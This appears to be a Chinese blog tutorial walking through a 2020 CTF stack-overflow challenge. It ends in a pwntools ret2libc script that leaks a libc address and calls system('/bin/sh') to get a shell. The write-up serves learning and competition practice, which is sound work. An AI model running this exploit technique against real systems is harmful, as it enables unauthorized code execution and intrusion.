2020第五空间智能安全大赛Pwn题解析:从零入门二进制漏洞利用

1次阅读
没有评论

共计 1759 个字符,预计需要花费 5 分钟才能阅读完成。

image.webp

背景介绍

Pwn 题目在 CTF 比赛中占据重要地位,主要考察选手对二进制程序漏洞的发现和利用能力。这类题目通常涉及内存破坏漏洞(如栈溢出、堆溢出等),通过精心构造的输入数据来控制程序执行流,最终实现获取系统权限的目标。掌握 Pwn 技能不仅对竞赛有帮助,也是实际安全工作中漏洞分析的基础。

2020 第五空间智能安全大赛 Pwn 题解析:从零入门二进制漏洞利用

题目分析

本次分析的题目来自 2020 第五空间智能安全大赛,是一个典型的栈溢出漏洞。程序的基本功能是接收用户输入,但由于未对输入长度进行严格限制,导致栈上的缓冲区可以被覆盖,从而控制函数的返回地址。

通过逆向分析可以发现:

  1. main 函数中存在一个固定大小的字符数组缓冲区
  2. 使用不安全的 gets() 函数读取用户输入
  3. 没有启用栈保护机制(如 canary)

环境搭建

进行 Pwn 题目分析需要准备以下工具:

  • Ubuntu 18.04/20.04 LTS(推荐)
  • gdb with peda 插件
  • pwntools Python 库
  • checksec 工具

安装步骤如下:

  1. 安装基本工具

    sudo apt update
    sudo apt install gdb python3-pip

  2. 安装 peda

    git clone https://github.com/longld/peda.git ~/peda
    echo "source ~/peda/peda.py" >> ~/.gdbinit

  3. 安装 pwntools

    pip install pwntools

漏洞利用

1. 确定偏移量

首先需要确定输入缓冲区到返回地址的偏移量。可以通过以下方法:

  1. 使用 pattern_create 生成测试字符串
  2. 在 gdb 中运行程序并输入测试字符串
  3. 查看崩溃时的 RSP 值
  4. 使用 pattern_offset 计算精确偏移

2. 构造 ROP 链

由于题目开启了 NX 保护,我们需要使用 ROP 技术来绕过。基本步骤:

  1. 泄露 libc 地址
  2. 计算 system 和 /bin/sh 的真实地址
  3. 构造执行 system(“/bin/sh”) 的 ROP 链

3. 完整利用流程

  1. 发送第一阶段 payload 泄露 libc 地址
  2. 解析泄露的地址
  3. 计算所需函数地址
  4. 发送第二阶段 payload 获取 shell

完整利用代码

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

# 本地测试
p = process('./vuln')
# 远程连接
# p = remote('target.ip', port)

# 第一段 payload: 泄露 libc 地址
payload1 = b'A'*offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload1)

# 解析泄露的地址
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leak - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

# 第二段 payload: 获取 shell
payload2 = b'A'*offset + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload2)

p.interactive()

避坑指南

在漏洞利用过程中容易遇到以下问题:

  1. 偏移量计算错误
  2. 解决方法:使用 pattern 工具精确计算

  3. 地址对齐问题

  4. 解决方法:添加 ret 指令调整栈对齐

  5. libc 版本不匹配

  6. 解决方法:使用题目提供的 libc 或通过多次泄露确定版本

  7. 本地通但远程不通

  8. 解决方法:检查网络环境,确认远程 libc 版本

扩展思考

  1. 如果题目开启了 FULL RELRO 保护,该如何绕过?
  2. 在 ASLR 开启的情况下,如何通过信息泄露构造稳定的 ROP 链?

推荐资源

  1. 书籍:《漏洞战争》、《CTF 竞赛权威指南》
  2. 在线平台:pwnable.kr、pwnable.tw
  3. 工具集:pwntools、ROPgadget、one_gadget
  4. 博客:phrack 杂志、安全客

通过这个案例,我们系统性地学习了栈溢出漏洞的利用方法。虽然这是一个基础题目,但涵盖了 Pwn 中最核心的技术要点。建议读者在掌握后尝试更复杂的题目,逐步提升自己的二进制安全能力。

正文完
 0
评论(没有评论)